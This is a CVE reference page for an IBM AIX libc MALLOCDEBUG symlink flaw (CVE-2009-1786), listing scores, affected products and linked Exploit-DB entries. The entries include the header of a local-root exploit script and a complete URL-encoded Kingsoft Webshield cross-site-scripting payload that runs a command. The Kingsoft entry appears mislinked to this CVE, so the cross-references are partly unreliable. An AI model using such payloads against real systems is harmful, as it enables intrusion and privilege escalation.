CVE-2009-1786
published 2009-05-26CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows local users to create or overwrite arbitrary files via a symlink attack on the log file associated…
PriorityP424medium6.9CVSS 2.0
AVLACMAuNCCICAC
EXPLOIT
EPSS
0.67%
48.1th percentile
The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows local users to create or overwrite arbitrary files via a symlink attack on the log file associated with the MALLOCDEBUG environment variable.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | aix | — | — |
| ibm | aix | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
IBM AIX 5.3/6.1/7.1/7.2 - 'lquerylv' Local Privilege Escalation
exploitdb·2016-11-04·CVSS 6.9
CVE-2016-6079 [MEDIUM] IBM AIX 5.3/6.1/7.1/7.2 - 'lquerylv' Local Privilege Escalation
IBM AIX 5.3/6.1/7.1/7.2 - 'lquerylv' Local Privilege Escalation
---
#!/usr/bin/sh
#
# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
#
# This exploit takes advantage of known issues with debugging functions
# within the AIX linker library. We are taking advantage of known
# functionality, and focusing on badly coded SUID binaries which do not
# adhere to proper security checks prior to seteuid/open/writes.
#
# The CVEs we will be taking advantage of:
# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows
# local users to create or overwrite arbitrary files via a symlink attack on
# the log file associated with the MALLOCDEBUG environment variable.
#
# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1
Exploit-DB
Kingsoft Webshield 1.1.0.62 - Cross-Site Scripting / Remote Command Execution
exploitdb·2009-05-20
CVE-2009-1786 Kingsoft Webshield 1.1.0.62 - Cross-Site Scripting / Remote Command Execution
Kingsoft Webshield 1.1.0.62 - Cross-Site Scripting / Remote Command Execution
---
source: https://www.securityfocus.com/bid/35038/info
The Webshield feature of Kingsoft Internet Security 9 is prone to a remote cross-site scripting and command-execution vulnerability.
Remote attackers may exploit this vulnerability to compromise an affected computer.
This issue affects WebShield 1.1.0.62 and prior versions.
http://www.example.com/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e
No writeups or analysis indexed.
http://aix.software.ibm.com/aix/efixes/security/libc_advisory.aschttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=802http://secunia.com/advisories/35146http://securitytracker.com/id?1022261http://www.ibm.com/support/docview.wss?uid=isg1IZ50121http://www.ibm.com/support/docview.wss?uid=isg1IZ50129http://www.ibm.com/support/docview.wss?uid=isg1IZ50139http://www.ibm.com/support/docview.wss?uid=isg1IZ50445http://www.ibm.com/support/docview.wss?uid=isg1IZ50447http://www.ibm.com/support/docview.wss?uid=isg1IZ50500http://www.ibm.com/support/docview.wss?uid=isg1IZ50517http://www.osvdb.org/54617http://www.securityfocus.com/bid/35034http://www.vupen.com/english/advisories/2009/1380https://exchange.xforce.ibmcloud.com/vulnerabilities/50636https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6276https://www.exploit-db.com/exploits/9306http://aix.software.ibm.com/aix/efixes/security/libc_advisory.aschttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=802http://secunia.com/advisories/35146http://securitytracker.com/id?1022261http://www.ibm.com/support/docview.wss?uid=isg1IZ50121http://www.ibm.com/support/docview.wss?uid=isg1IZ50129http://www.ibm.com/support/docview.wss?uid=isg1IZ50139http://www.ibm.com/support/docview.wss?uid=isg1IZ50445http://www.ibm.com/support/docview.wss?uid=isg1IZ50447http://www.ibm.com/support/docview.wss?uid=isg1IZ50500http://www.ibm.com/support/docview.wss?uid=isg1IZ50517http://www.osvdb.org/54617http://www.securityfocus.com/bid/35034http://www.vupen.com/english/advisories/2009/1380https://exchange.xforce.ibmcloud.com/vulnerabilities/50636https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6276https://www.exploit-db.com/exploits/9306
2009-05-26
Published